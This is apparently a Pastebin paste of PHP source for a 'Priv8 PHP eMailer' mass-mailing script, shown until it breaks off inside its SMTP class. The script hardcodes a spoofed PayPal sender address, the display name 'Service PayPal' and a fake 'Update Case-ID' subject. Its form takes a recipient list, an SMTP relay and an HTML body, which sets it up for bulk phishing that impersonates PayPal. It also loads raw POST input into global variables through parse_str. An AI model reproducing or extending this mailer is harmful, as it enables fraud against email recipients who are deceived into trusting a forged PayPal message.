Guest User

x3

a guest
Aug 15th, 2017
503
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 98.40 KB | None | 0 0
  1. <?php
  2.  
  3. function query_str($params){
  4. $str = '';
  5. foreach ($params as $key => $value) {
  6. $str .= (strlen($str) < 1) ? '' : '&';
  7. $str .= $key . '=' . rawurlencode($value);
  8. }
  9. return ($str);
  10. }
  11. function lrtrim($string){
  12. return stripslashes(ltrim(rtrim($string)));
  13. }
  14. /*
  15. $_POST['emaillist'] = '
  16. xxxx.xxxxx@gmail.com
  17. ';
  18. $_POST['action'] = true;
  19.  
  20. $_POST['message'] = file_get_contents("letter.txt");
  21. $_POST['subject'] = "helloworld!";
  22. $_POST['from'] = "hellowor@x.com";
  23. $_POST['realname'] = "hellowor";
  24. */
  25. if(isset($_POST['action'] ) ){
  26.  
  27. //$emails_file = file("emails.txt");
  28. //foreach($emails_file as $zemail){
  29.  
  30. $b = query_str($_POST);
  31. parse_str($b);  
  32. $sslclick=lrtrim($sslclick);  
  33. $action=lrtrim($action);
  34. $message="Test voor vandaag"; //file_get_contents("letter.txt");
  35. $emaillist="root.sy@hotmail.com";lrtrim($emaillist);
  36. $from="service@paypal.com";
  37. $reconnect=lrtrim($reconnect);
  38. $epriority=lrtrim($epriority);
  39. $my_smtp=lrtrim($my_smtp);
  40. $ssl_port=lrtrim($ssl_port);
  41. $smtp_username=lrtrim($smtp_username);
  42. $smtp_password=lrtrim($smtp_password);
  43. $replyto=lrtrim($replyto);
  44. $subject="Update Case-ID 845-385-227-701";
  45. $realname="Service PayPal";
  46. $file_name=lrtrim($file);
  47. $urlz=lrtrim($urlz);
  48. $contenttype=lrtrim($contenttype);
  49.  
  50.         $message = urlencode($message);
  51.         $message = str_replace("%5C%22", "%22", $message);
  52.         $message = urldecode($message);
  53.         $message = stripslashes($message);
  54.         $subject = stripslashes($subject);
  55. }//}
  56.  
  57.  
  58. ?>
  59.  
  60. <html>
  61.  
  62. <head>
  63.  
  64. <title>{*oo*}vs(o_o)</title>
  65.  
  66. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  67.  
  68. <style type="text/css">
  69. <!--
  70. .style1 {
  71.         font-family: Geneva, Arial, Helvetica, sans-serif;
  72.         font-size: 12px;
  73. }
  74. -->
  75. </style>
  76. <style type="text/css">
  77. <!--
  78. .style1 {
  79.         font-size: 10px;
  80.         font-family: Geneva, Arial, Helvetica, sans-serif;
  81. }
  82. -->
  83. </style>
  84. </head>
  85. <body bgcolor="#FFFFFF" text="#000000">
  86. <span class="style1">Priv8 PHP eMailer is created by MeGo<br>
  87.    <font color=\"#800000\">EG5-@hotmail.com</font></span>
  88.  
  89. <form name="form1" method="post" action="" enctype="multipart/form-data">
  90.  
  91.   <br>
  92.  
  93.   <table width="100%" border="0" height="407">
  94.  
  95.     <tr>
  96.  
  97.       <td width="100%" colspan="4" bgcolor="#666666" height="36">
  98.  
  99.         <b>
  100.  
  101.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
  102.  
  103.       </tr>
  104.     <tr>
  105.  
  106.       <td width="10%" height="22" bgcolor="#E8E8E8">
  107.  
  108.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  109.  
  110.       </td>
  111.  
  112.       <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  113.  
  114.         <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  115.  
  116.         </font></td>
  117.  
  118.       <td width="31%" height="22" bgcolor="#E8E8E8">
  119.  
  120.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  121.  
  122.       </td>
  123.  
  124.       <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  125.  
  126.         <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  127.  
  128.         </font></td>
  129.  
  130.     </tr>
  131.     <tr>
  132.  
  133.       <td width="10%" height="22" bgcolor="#E8E8E8">
  134.  
  135.         <div align="right">
  136.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  137.  
  138.       </td>
  139.  
  140.       <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  141.  
  142.         <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  143.       (optional)</font></td>
  144.  
  145.       <td width="31%" height="22" bgcolor="#E8E8E8">
  146.  
  147.         <div align="right">
  148.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  149.           Smtp:</font></div>
  150.  
  151.       </td>
  152.  
  153.       <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  154.  
  155.         <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  156.  
  157.         </font></td>
  158.  
  159.     </tr>
  160.     <tr>
  161.  
  162.       <td width="10%" height="22" bgcolor="#E8E8E8">
  163.  
  164.         <p align="right">
  165.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  166.  
  167.       <td width="18%" height="22" bgcolor="#E8E8E8">
  168.       <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  169.  
  170.       <td width="31%" height="22" bgcolor="#E8E8E8">
  171.  
  172.         <p align="right">
  173.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  174.         After:</font></td>
  175.  
  176.       <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  177.  
  178.         <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  179.       EMAILS</font></td>
  180.  
  181.     </tr>
  182.     <tr>
  183.  
  184.       <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
  185.  
  186.         <p align="center">
  187.         <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  188.         you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  189.  
  190.       </tr>
  191.  
  192.     <tr>
  193.  
  194.       <td width="10%" height="19">
  195.  
  196.         &nbsp;</td>
  197.  
  198.       <td width="18%" height="19">&nbsp;</td>
  199.  
  200.       <td width="31%" height="19">
  201.  
  202.         &nbsp;</td>
  203.  
  204.       <td width="41%" height="19">&nbsp;</td>
  205.  
  206.     </tr>
  207.  
  208.     <tr>
  209.  
  210.       <td width="100%" colspan="4" bgcolor="#666666" height="36">
  211.  
  212.         <b>
  213.  
  214.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  215.  
  216.       </tr>
  217.  
  218.     <tr>
  219.  
  220.       <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  221.  
  222.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  223.  
  224.           Email:</font></div>
  225.  
  226.       </td>
  227.  
  228.       <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  229.  
  230.         <input type="text" name="from" value="<?=$from;?>" size="30">
  231.  
  232.         </font></td>
  233.  
  234.       <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  235.  
  236.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  237.  
  238.           Name:</font></div>
  239.  
  240.       </td>
  241.  
  242.       <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  243.  
  244.         <input type="text" name="realname" value="<?=$realname;?>" size="30">
  245.  
  246.         </font></td>
  247.  
  248.     </tr>
  249.     <tr>
  250.  
  251.       <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  252.  
  253.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  254.  
  255.       </td>
  256.  
  257.       <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  258.  
  259.         <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
  260.  
  261.         </font></td>
  262.  
  263.       <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  264.  
  265.         <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  266.         Email Priority:</font></td>
  267.  
  268.       <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  269.  
  270.         &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  271.         <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  272.         <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  273.         <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  274.         <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  275.         </select></td>
  276.  
  277.     </tr>
  278.  
  279.     <tr>
  280.  
  281.       <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  282.  
  283.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  284.  
  285.       </td>
  286.  
  287.       <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  288.  
  289.         <input type="text" name="subject" value="<?=$subject;?>" size="90">
  290.  
  291.         </font></td>
  292.  
  293.     </tr>
  294.  
  295.     <tr>
  296.  
  297.       <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  298.  
  299.         &nbsp;</td>
  300.  
  301.       <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  302.  
  303.         &nbsp;</font></td>
  304.  
  305.     </tr>
  306.  
  307.     <tr valign="top">
  308.  
  309. <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  310.  
  311.         <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
  312.  
  313.         <br>
  314.  
  315.         <input type="radio" name="contenttype" value="plain" >
  316.  
  317.         Plain
  318.  
  319.         <input type="radio" name="contenttype" value="html" checked>
  320.  
  321.         HTML
  322.  
  323.         <input type="hidden" name="action" value="send">
  324.  
  325.         <input type="submit" value="Send Message">
  326.  
  327.         </font></td>
  328.  
  329.       <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  330.  
  331.         <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  332.  
  333.         </font></td>
  334.  
  335.     </tr>
  336.  
  337.   </table>
  338.  
  339. </form>
  340.  
  341.  
  342.  
  343. <?
  344.  
  345. if ($action){
  346.         if (!$from && !$subject && !$message && !$emaillist){
  347.         print "<script>alert('Please complete all fields before sending your message.'); </script>";
  348.         die();  }
  349.  
  350. class SMTP
  351. {
  352.   /**
  353.    *  SMTP server port
  354.    *  @var int
  355.    */
  356.   var $SMTP_PORT = 25;
  357.  
  358.   /**
  359.    *  SMTP reply line ending
  360.    *  @var string
  361.    */
  362.   var $CRLF = "\r\n";
  363.  
  364.   /**
  365.    *  Sets whether debugging is turned on
  366.    *  @var bool
  367.    */
  368.   var $do_debug;       # the level of debug to perform
  369.  
  370.   /**
  371.    *  Sets VERP use on/off (default is off)
  372.    *  @var bool
  373.    */
  374.   var $do_verp = false;
  375.  
  376.   /**#@+
  377.    * @access private
  378.    */
  379.   var $smtp_conn;      # the socket to the server
  380.  var $error;          # error if any on the last call
  381.  var $helo_rply;      # the reply the server sent to us for HELO
  382.  /**#@-*/
  383.  
  384.   /**
  385.    * Initialize the class so that the data is in a known state.
  386.    * @access public
  387.    * @return void
  388.    */
  389.   function SMTP() {
  390.     $this->smtp_conn = 0;
  391.     $this->error = null;
  392.     $this->helo_rply = null;
  393.  
  394.     $this->do_debug = 0;
  395.   }
  396.  
  397.   /*************************************************************
  398.    *                    CONNECTION FUNCTIONS                  *
  399.    ***********************************************************/
  400.  
  401.   /**
  402.    * Connect to the server specified on the port specified.
  403.    * If the port is not specified use the default SMTP_PORT.
  404.    * If tval is specified then a connection will try and be
  405.    * established with the server for that number of seconds.
  406.    * If tval is not specified the default is 30 seconds to
  407.    * try on the connection.
  408.    *
  409.    * SMTP CODE SUCCESS: 220
  410.    * SMTP CODE FAILURE: 421
  411.    * @access public
  412.    * @return bool
  413.    */
  414.   function Connect($host,$port=0,$tval=30) {
  415.     # set the error val to null so there is no confusion
  416.    $this->error = null;
  417.  
  418.     # make sure we are __not__ connected
  419.    if($this->connected()) {
  420.       # ok we are connected! what should we do?
  421.      # for now we will just give an error saying we
  422.      # are already connected
  423.      $this->error = array("error" => "Already connected to a server");
  424.       return false;
  425.     }
  426.  
  427.     if(empty($port)) {
  428.       $port = $this->SMTP_PORT;
  429.     }
  430.  
  431.     #connect to the smtp server
  432.    $this->smtp_conn = fsockopen($host,    # the host of the server
  433.                                 $port,    # the port to use
  434.                                 $errno,   # error number if any
  435.                                 $errstr,  # error message if any
  436.                                 $tval);   # give up after ? secs
  437.    # verify we connected properly
  438.    if(empty($this->smtp_conn)) {
  439.       $this->error = array("error" => "Failed to connect to server",
  440.                            "errno" => $errno,
  441.                            "errstr" => $errstr);
  442.       if($this->do_debug >= 1) {
  443.         echo "SMTP -> ERROR: " . $this->error["error"] .
  444.                  ": $errstr ($errno)" . $this->CRLF;
  445.       }
  446.       return false;
  447.     }
  448.  
  449.     # sometimes the SMTP server takes a little longer to respond
  450.    # so we will give it a longer timeout for the first read
  451.    // Windows still does not have support for this timeout function
  452.     if(substr(PHP_OS, 0, 3) != "WIN")
  453.      socket_set_timeout($this->smtp_conn, $tval, 0);
  454.  
  455.     # get any announcement stuff
  456.    $announce = $this->get_lines();
  457.  
  458.     # set the timeout  of any socket functions at 1/10 of a second
  459.    //if(function_exists("socket_set_timeout"))
  460.     //   socket_set_timeout($this->smtp_conn, 0, 100000);
  461.  
  462.     if($this->do_debug >= 2) {
  463.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  464.     }
  465.  
  466.     return true;
  467.   }
  468.  
  469.   /**
  470.    * Performs SMTP authentication.  Must be run after running the
  471.    * Hello() method.  Returns true if successfully authenticated.
  472.    * @access public
  473.    * @return bool
  474.    */
  475.   function Authenticate($username, $password) {
  476.     // Start authentication
  477.     fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  478.  
  479.     $rply = $this->get_lines();
  480.     $code = substr($rply,0,3);
  481.  
  482.     if($code != 334) {
  483.       $this->error =
  484.         array("error" => "AUTH not accepted from server",
  485.               "smtp_code" => $code,
  486.               "smtp_msg" => substr($rply,4));
  487.       if($this->do_debug >= 1) {
  488.         echo "SMTP -> ERROR: " . $this->error["error"] .
  489.                  ": " . $rply . $this->CRLF;
  490.       }
  491.       return false;
  492.     }
  493.  
  494.     // Send encoded username
  495.     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  496.  
  497.     $rply = $this->get_lines();
  498.     $code = substr($rply,0,3);
  499.  
  500.     if($code != 334) {
  501.       $this->error =
  502.         array("error" => "Username not accepted from server",
  503.               "smtp_code" => $code,
  504.               "smtp_msg" => substr($rply,4));
  505.       if($this->do_debug >= 1) {
  506.         echo "SMTP -> ERROR: " . $this->error["error"] .
  507.                  ": " . $rply . $this->CRLF;
  508.       }
  509.       return false;
  510.     }
  511.  
  512.     // Send encoded password
  513.     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  514.  
  515.     $rply = $this->get_lines();
  516.     $code = substr($rply,0,3);
  517.  
  518.     if($code != 235) {
  519.       $this->error =
  520.         array("error" => "Password not accepted from server",
  521.               "smtp_code" => $code,
  522.               "smtp_msg" => substr($rply,4));
  523.       if($this->do_debug >= 1) {
  524.         echo "SMTP -> ERROR: " . $this->error["error"] .
  525.                  ": " . $rply . $this->CRLF;
  526.       }
  527.       return false;
  528.     }
  529.  
  530.     return true;
  531.   }
  532.  
  533.   /**
  534.    * Returns true if connected to a server otherwise false
  535.    * @access private
  536.    * @return bool
  537.    */
  538.   function Connected() {
  539.     if(!empty($this->smtp_conn)) {
  540.       $sock_status = socket_get_status($this->smtp_conn);
  541.       if($sock_status["eof"]) {
  542.         # hmm this is an odd situation... the socket is
  543.        # valid but we are not connected anymore
  544.        if($this->do_debug >= 1) {
  545.             echo "SMTP -> NOTICE:" . $this->CRLF .
  546.                  "EOF caught while checking if connected";
  547.         }
  548.         $this->Close();
  549.         return false;
  550.       }
  551.       return true; # everything looks good
  552.    }
  553.     return false;
  554.   }
  555.  
  556.   /**
  557.    * Closes the socket and cleans up the state of the class.
  558.    * It is not considered good to use this function without
  559.    * first trying to use QUIT.
  560.    * @access public
  561.    * @return void
  562.    */
  563.   function Close() {
  564.     $this->error = null; # so there is no confusion
  565.    $this->helo_rply = null;
  566.     if(!empty($this->smtp_conn)) {
  567.       # close the connection and cleanup
  568.      fclose($this->smtp_conn);
  569.       $this->smtp_conn = 0;
  570.     }
  571.   }
  572.  
  573.   /***************************************************************
  574.    *                        SMTP COMMANDS                       *
  575.    *************************************************************/
  576.  
  577.   /**
  578.    * Issues a data command and sends the msg_data to the server
  579.    * finializing the mail transaction. $msg_data is the message
  580.    * that is to be send with the headers. Each header needs to be
  581.    * on a single line followed by a <CRLF> with the message headers
  582.    * and the message body being seperated by and additional <CRLF>.
  583.    *
  584.    * Implements rfc 821: DATA <CRLF>
  585.    *
  586.    * SMTP CODE INTERMEDIATE: 354
  587.    *     [data]
  588.    *     <CRLF>.<CRLF>
  589.    *     SMTP CODE SUCCESS: 250
  590.    *     SMTP CODE FAILURE: 552,554,451,452
  591.    * SMTP CODE FAILURE: 451,554
  592.    * SMTP CODE ERROR  : 500,501,503,421
  593.    * @access public
  594.    * @return bool
  595.    */
  596.   function Data($msg_data) {
  597.     $this->error = null; # so no confusion is caused
  598.  
  599.     if(!$this->connected()) {
  600.       $this->error = array(
  601.               "error" => "Called Data() without being connected");
  602.       return false;
  603.     }
  604.  
  605.     fputs($this->smtp_conn,"DATA" . $this->CRLF);
  606.  
  607.     $rply = $this->get_lines();
  608.     $code = substr($rply,0,3);
  609.  
  610.     if($this->do_debug >= 2) {
  611.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  612.     }
  613.  
  614.     if($code != 354) {
  615.       $this->error =
  616.         array("error" => "DATA command not accepted from server",
  617.               "smtp_code" => $code,
  618.               "smtp_msg" => substr($rply,4));
  619.       if($this->do_debug >= 1) {
  620.         echo "SMTP -> ERROR: " . $this->error["error"] .
  621.                  ": " . $rply . $this->CRLF;
  622.       }
  623.       return false;
  624.     }
  625.  
  626.     # the server is ready to accept data!
  627.    # according to rfc 821 we should not send more than 1000
  628.    # including the CRLF
  629.    # characters on a single line so we will break the data up
  630.    # into lines by \r and/or \n then if needed we will break
  631.    # each of those into smaller lines to fit within the limit.
  632.    # in addition we will be looking for lines that start with
  633.    # a period '.' and append and additional period '.' to that
  634.    # line. NOTE: this does not count towards are limit.
  635.  
  636.     # normalize the line breaks so we know the explode works
  637.    $msg_data = str_replace("\r\n","\n",$msg_data);
  638.     $msg_data = str_replace("\r","\n",$msg_data);
  639.     $lines = explode("\n",$msg_data);
  640.  
  641.     # we need to find a good way to determine is headers are
  642.    # in the msg_data or if it is a straight msg body
  643.    # currently I am assuming rfc 822 definitions of msg headers
  644.    # and if the first field of the first line (':' sperated)
  645.    # does not contain a space then it _should_ be a header
  646.    # and we can process all lines before a blank "" line as
  647.    # headers.
  648.    $field = substr($lines[0],0,strpos($lines[0],":"));
  649.     $in_headers = false;
  650.     if(!empty($field) && !strstr($field," ")) {
  651.       $in_headers = true;
  652.     }
  653.  
  654.     $max_line_length = 998; # used below; set here for ease in change
  655.  
  656.     while(list(,$line) = @each($lines)) {
  657.       $lines_out = null;
  658.       if($line == "" && $in_headers) {
  659.         $in_headers = false;
  660.       }
  661.       # ok we need to break this line up into several
  662.      # smaller lines
  663.      while(strlen($line) > $max_line_length) {
  664.         $pos = strrpos(substr($line,0,$max_line_length)," ");
  665.  
  666.         # Patch to fix DOS attack
  667.        if(!$pos) {
  668.           $pos = $max_line_length - 1;
  669.         }
  670.  
  671.         $lines_out[] = substr($line,0,$pos);
  672.         $line = substr($line,$pos + 1);
  673.         # if we are processing headers we need to
  674.        # add a LWSP-char to the front of the new line
  675.        # rfc 822 on long msg headers
  676.        if($in_headers) {
  677.           $line = "\t" . $line;
  678.         }
  679.       }
  680.       $lines_out[] = $line;
  681.  
  682.       # now send the lines to the server
  683.      while(list(,$line_out) = @each($lines_out)) {
  684.         if(strlen($line_out) > 0)
  685.         {
  686.           if(substr($line_out, 0, 1) == ".") {
  687.             $line_out = "." . $line_out;
  688.           }
  689.         }
  690.         fputs($this->smtp_conn,$line_out . $this->CRLF);
  691.       }
  692.     }
  693.  
  694.     # ok all the message data has been sent so lets get this
  695.    # over with aleady
  696.    fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  697.  
  698.     $rply = $this->get_lines();
  699.     $code = substr($rply,0,3);
  700.  
  701.     if($this->do_debug >= 2) {
  702.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  703.     }
  704.  
  705.     if($code != 250) {
  706.       $this->error =
  707.         array("error" => "DATA not accepted from server",
  708.               "smtp_code" => $code,
  709.               "smtp_msg" => substr($rply,4));
  710.       if($this->do_debug >= 1) {
  711.         echo "SMTP -> ERROR: " . $this->error["error"] .
  712.                  ": " . $rply . $this->CRLF;
  713.       }
  714.       return false;
  715.     }
  716.     return true;
  717.   }
  718.  
  719.   /**
  720.    * Expand takes the name and asks the server to list all the
  721.    * people who are members of the _list_. Expand will return
  722.    * back and array of the result or false if an error occurs.
  723.    * Each value in the array returned has the format of:
  724.    *     [ <full-name> <sp> ] <path>
  725.    * The definition of <path> is defined in rfc 821
  726.    *
  727.    * Implements rfc 821: EXPN <SP> <string> <CRLF>
  728.    *
  729.    * SMTP CODE SUCCESS: 250
  730.    * SMTP CODE FAILURE: 550
  731.    * SMTP CODE ERROR  : 500,501,502,504,421
  732.    * @access public
  733.    * @return string array
  734.    */
  735.   function Expand($name) {
  736.     $this->error = null; # so no confusion is caused
  737.  
  738.     if(!$this->connected()) {
  739.       $this->error = array(
  740.             "error" => "Called Expand() without being connected");
  741.       return false;
  742.     }
  743.  
  744.     fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  745.  
  746.     $rply = $this->get_lines();
  747.     $code = substr($rply,0,3);
  748.  
  749.     if($this->do_debug >= 2) {
  750.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  751.     }
  752.  
  753.     if($code != 250) {
  754.       $this->error =
  755.         array("error" => "EXPN not accepted from server",
  756.               "smtp_code" => $code,
  757.               "smtp_msg" => substr($rply,4));
  758.       if($this->do_debug >= 1) {
  759.         echo "SMTP -> ERROR: " . $this->error["error"] .
  760.                  ": " . $rply . $this->CRLF;
  761.       }
  762.       return false;
  763.     }
  764.  
  765.     # parse the reply and place in our array to return to user
  766.    $entries = explode($this->CRLF,$rply);
  767.     while(list(,$l) = @each($entries)) {
  768.       $list[] = substr($l,4);
  769.     }
  770.  
  771.     return $list;
  772.   }
  773.  
  774.   /**
  775.    * Sends the HELO command to the smtp server.
  776.    * This makes sure that we and the server are in
  777.    * the same known state.
  778.    *
  779.    * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  780.    *
  781.    * SMTP CODE SUCCESS: 250
  782.    * SMTP CODE ERROR  : 500, 501, 504, 421
  783.    * @access public
  784.    * @return bool
  785.    */
  786.   function Hello($host="") {
  787.     $this->error = null; # so no confusion is caused
  788.  
  789.     if(!$this->connected()) {
  790.       $this->error = array(
  791.             "error" => "Called Hello() without being connected");
  792.       return false;
  793.     }
  794.  
  795.     # if a hostname for the HELO was not specified determine
  796.    # a suitable one to send
  797.    if(empty($host)) {
  798.       # we need to determine some sort of appopiate default
  799.      # to send to the server
  800.      $host = "localhost";
  801.     }
  802.  
  803.     // Send extended hello first (RFC 2821)
  804.     if(!$this->SendHello("EHLO", $host))
  805.     {
  806.       if(!$this->SendHello("HELO", $host))
  807.           return false;
  808.     }
  809.  
  810.     return true;
  811.   }
  812.  
  813.   /**
  814.    * Sends a HELO/EHLO command.
  815.    * @access private
  816.    * @return bool
  817.    */
  818.   function SendHello($hello, $host) {
  819.     fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  820.  
  821.     $rply = $this->get_lines();
  822.     $code = substr($rply,0,3);
  823.  
  824.     if($this->do_debug >= 2) {
  825.       echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  826.     }
  827.  
  828.     if($code != 250) {
  829.       $this->error =
  830.         array("error" => $hello . " not accepted from server",
  831.               "smtp_code" => $code,
  832.               "smtp_msg" => substr($rply,4));
  833.       if($this->do_debug >= 1) {
  834.         echo "SMTP -> ERROR: " . $this->error["error"] .
  835.                  ": " . $rply . $this->CRLF;
  836.       }
  837.       return false;
  838.     }
  839.  
  840.     $this->helo_rply = $rply;
  841.  
  842.     return true;
  843.   }
  844.  
  845.   /**
  846.    * Gets help information on the keyword specified. If the keyword
  847.    * is not specified then returns generic help, ussually contianing
  848.    * A list of keywords that help is available on. This function
  849.    * returns the results back to the user. It is up to the user to
  850.    * handle the returned data. If an error occurs then false is
  851.    * returned with $this->error set appropiately.
  852.    *
  853.    * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  854.    *
  855.    * SMTP CODE SUCCESS: 211,214
  856.    * SMTP CODE ERROR  : 500,501,502,504,421
  857.    * @access public
  858.    * @return string
  859.    */
  860.   function Help($keyword="") {
  861.     $this->error = null; # to avoid confusion
  862.  
  863.     if(!$this->connected()) {
  864.       $this->error = array(
  865.               "error" => "Called Help() without being connected");
  866.       return false;
  867.     }
  868.  
  869.     $extra = "";
  870.     if(!empty($keyword)) {
  871.       $extra = " " . $keyword;
  872.     }
  873.  
  874.     fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  875.  
  876.     $rply = $this->get_lines();
  877.     $code = substr($rply,0,3);
  878.  
  879.     if($this->do_debug >= 2) {
  880.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  881.     }
  882.  
  883.     if($code != 211 && $code != 214) {
  884.       $this->error =
  885.         array("error" => "HELP not accepted from server",
  886.               "smtp_code" => $code,
  887.               "smtp_msg" => substr($rply,4));
  888.       if($this->do_debug >= 1) {
  889.         echo "SMTP -> ERROR: " . $this->error["error"] .
  890.                  ": " . $rply . $this->CRLF;
  891.       }
  892.       return false;
  893.     }
  894.  
  895.     return $rply;
  896.   }
  897.  
  898.   /**
  899.    * Starts a mail transaction from the email address specified in
  900.    * $from. Returns true if successful or false otherwise. If True
  901.    * the mail transaction is started and then one or more Recipient
  902.    * commands may be called followed by a Data command.
  903.    *
  904.    * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  905.    *
  906.    * SMTP CODE SUCCESS: 250
  907.    * SMTP CODE SUCCESS: 552,451,452
  908.    * SMTP CODE SUCCESS: 500,501,421
  909.    * @access public
  910.    * @return bool
  911.    */
  912.   function Mail($from) {
  913.     $this->error = null; # so no confusion is caused
  914.  
  915.     if(!$this->connected()) {
  916.       $this->error = array(
  917.               "error" => "Called Mail() without being connected");
  918.       return false;
  919.     }
  920.  
  921.     $useVerp = ($this->do_verp ? "XVERP" : "");
  922.     fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  923.  
  924.     $rply = $this->get_lines();
  925.     $code = substr($rply,0,3);
  926.  
  927.     if($this->do_debug >= 2) {
  928.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  929.     }
  930.  
  931.     if($code != 250) {
  932.       $this->error =
  933.         array("error" => "MAIL not accepted from server",
  934.               "smtp_code" => $code,
  935.               "smtp_msg" => substr($rply,4));
  936.       if($this->do_debug >= 1) {
  937.         echo "SMTP -> ERROR: " . $this->error["error"] .
  938.                  ": " . $rply . $this->CRLF;
  939.       }
  940.       return false;
  941.     }
  942.     return true;
  943.   }
  944.  
  945.   /**
  946.    * Sends the command NOOP to the SMTP server.
  947.    *
  948.    * Implements from rfc 821: NOOP <CRLF>
  949.    *
  950.    * SMTP CODE SUCCESS: 250
  951.    * SMTP CODE ERROR  : 500, 421
  952.    * @access public
  953.    * @return bool
  954.    */
  955.   function Noop() {
  956.     $this->error = null; # so no confusion is caused
  957.  
  958.     if(!$this->connected()) {
  959.       $this->error = array(
  960.               "error" => "Called Noop() without being connected");
  961.       return false;
  962.     }
  963.  
  964.     fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  965.  
  966.     $rply = $this->get_lines();
  967.     $code = substr($rply,0,3);
  968.  
  969.     if($this->do_debug >= 2) {
  970.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  971.     }
  972.  
  973.     if($code != 250) {
  974.       $this->error =
  975.         array("error" => "NOOP not accepted from server",
  976.               "smtp_code" => $code,
  977.               "smtp_msg" => substr($rply,4));
  978.       if($this->do_debug >= 1) {
  979.         echo "SMTP -> ERROR: " . $this->error["error"] .
  980.                  ": " . $rply . $this->CRLF;
  981.       }
  982.       return false;
  983.     }
